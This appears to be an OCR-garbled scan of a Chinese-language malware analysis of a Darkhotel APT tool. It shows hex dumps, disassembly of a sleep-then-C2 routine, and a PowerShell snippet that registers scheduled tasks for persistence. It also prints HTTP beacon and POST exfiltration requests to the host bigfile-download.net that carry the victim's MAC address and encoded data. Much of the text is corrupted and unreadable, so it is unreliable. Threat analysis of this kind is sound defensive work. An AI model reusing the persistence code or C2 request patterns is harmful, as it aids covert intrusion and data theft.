aa

28
6F
a0
6D
65
2E
65
64
28
3aB
2E
78
78
FiL
61
73
L8
67
64
Ly
SF
24
28
aa

HA A AR B ESRI S C20 e FEE.

L || 2=
Ba4E3485

aD
G6E
28
4F
2E
63
i2
65
24
24
LE
6D
6D
28
73
6B
6D
5D
65
65
G6E
6E
24
aa

28
66
LE
62
L3
6F
28
i2
FL
iy
61
6C
6C
24
6B
28
6C
24
i2
66
61
75
G6E
aa

24
69
65
G6A
65
G6E
aD
28
61
61
6D
27
28
SF
28
24
5y
FiL)
2E
69
6D
6C
75
aa

65
67
7
65
i2
G6E
28
27
73
73
65
2C
aD
2E
aD
6E
65
61
L2
G6E
65
6C
6C
aa

G6E
2E
2D
63
L]
65
24
27
6B
6B
2E
28
28
hb
28
75
78
73
65
69
2C
2C
6C
aa

Stask_path = $%en
v:temp+'\config.
#ml' ;%sch = Hew-
Object -ComDbjec
t{ 'Schedule .Serv
ice');%sch.conne
ct();%Folder = %
sch.GetFolder("'"
Y:Get-Item $task
_path | %{;%task
_name = § _Name.
Replace{' .xml",
'');5task _=ml
Get-Content % _.F
ullHame ;$task
$cch.HewTask({$nu
11);4task . XmlTex
t = [string]itas
k_xml;%$folder .Re
gisterTaskDefini
tion($task name,
$task, 6,%null,
$null, @8, %null

8483485 loc_483A85: 3 Timer
288483485 cmp eax, 113h
88483484 jz short loc 483A2C
L 4
bl i
ea48342C
88483A2C loc_483A2C:
B8483A2C mov eax, [ebptwParam]
Ba483A2F cmp eax, 1
88483432 jnz short loc_483A72
Y
_ | [ es =
8483434 mov eax, dword 420114 Ba4B3AT2
Ba483439 xor BCX, BCX Ba483A72
28483436 cmp eax, 2718h 2p4a3A72
Ba4a3448 cmovg  eax, ecx Ba4a3ATS
8684683443 add eax, 7D8h
28483448 push eax 3 dwMilliseconds
8483249 mov dword_42C114, eax
Be4B3A4E call ds:5leep
88483454 call c2comm_sub_ 483038
A3
6.2 CACEF51ES
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HIE1 , ZRATHI C&CKRERMER , HAHTTPYRN A C24%IEK , A AGET, URL
F/maro[#=]/article//[MACHb1IL)/article_service.html,

GET /maro?/article//000C29014444/article service.html HTTP/1.1
Connection: Keep-Alive

User-Agent: user

Host: bigfile-download.net

HIR2 , RATH CACKEEFIEE. HIEAPOST , URLA/maro#F]/live¥F].php , B A
title=111&dirname=[MACHt 1t fK]base644rRh]

POST /marc?/1livel.php HTTP/1.1
title=111&dirname=MDAW]zISMDEBNDOB .
HIR3 |, Z EHRWIHRBITC2 T A4 , s T

e S HH BB 18&[5 2] % %[5 3] @@

FEOFPEMT -

SR, S PITTRAE , (ERSEHAERREC2RIAEFER.

TERRE NP | ERITRRBRHBEHSEZIN , BALRERC2EXIBE., EEXS5H
B2, A%, fetitle’ 5 dirname )FERERE_E | FHEIN T ‘value'ZFER ; X FE{E B —H/A4A
e,

db "wvut@yYfjeksSVFbsCSkTSAXZ1TAVZVKZPAXktKr8wlem915hKSILvAhUuoPQugxBeK "
db "xnUw9PvnvgRASZHPNAN+T/ zQwwETENTWh+ZERDE+53 287 yErGn+uEVHEE4D09rTw '
db "J1581bv74PcViPAZFLyndmDS1R2ZHMWI culvg@l+aqQIDAQAE - - - -- END PUBLIC KE'
db "Y----- '8

date=40787D7E454304697B684B5547653823035F4728622E08&d1 rname=MDAWQz ISMDEBNDQBE Y alue=B0112E17BBFABDA149ECDROET7747B79EABEBDSDSD3954FAF72DCCCH
©5E39980E5D3918EFE3C48A39757635FCTEAAB3T351E5D7AF4ACFFAIBTEB@82B5530C21E676D9FDF9@DC6BEEY77B99890D5068D7789043387DC52662A2667EDA26320744D78
27BA7CD369816126D8DCCE41D64CA15174F99DEGE3CA2EDDFABFRACBICO@3HTTP/1.1 260 OK

t\ IE\%

Darkhotel 5T Z A # SRAT T AL W EE TEMBRRISE] , FIEACLEIEE MAEL.
FLT ASHEEAGRASA PEBEEHREK , BEHEREMY, XETARMEE(S.
mEE, TALRMERES , L FE—FHctIRERT2ERNRA , RRH
Darkhotel/Eii & B & HRAME FHALARAME L A I —EERRTHIES |, XRe NI A iR
THTHEK.,
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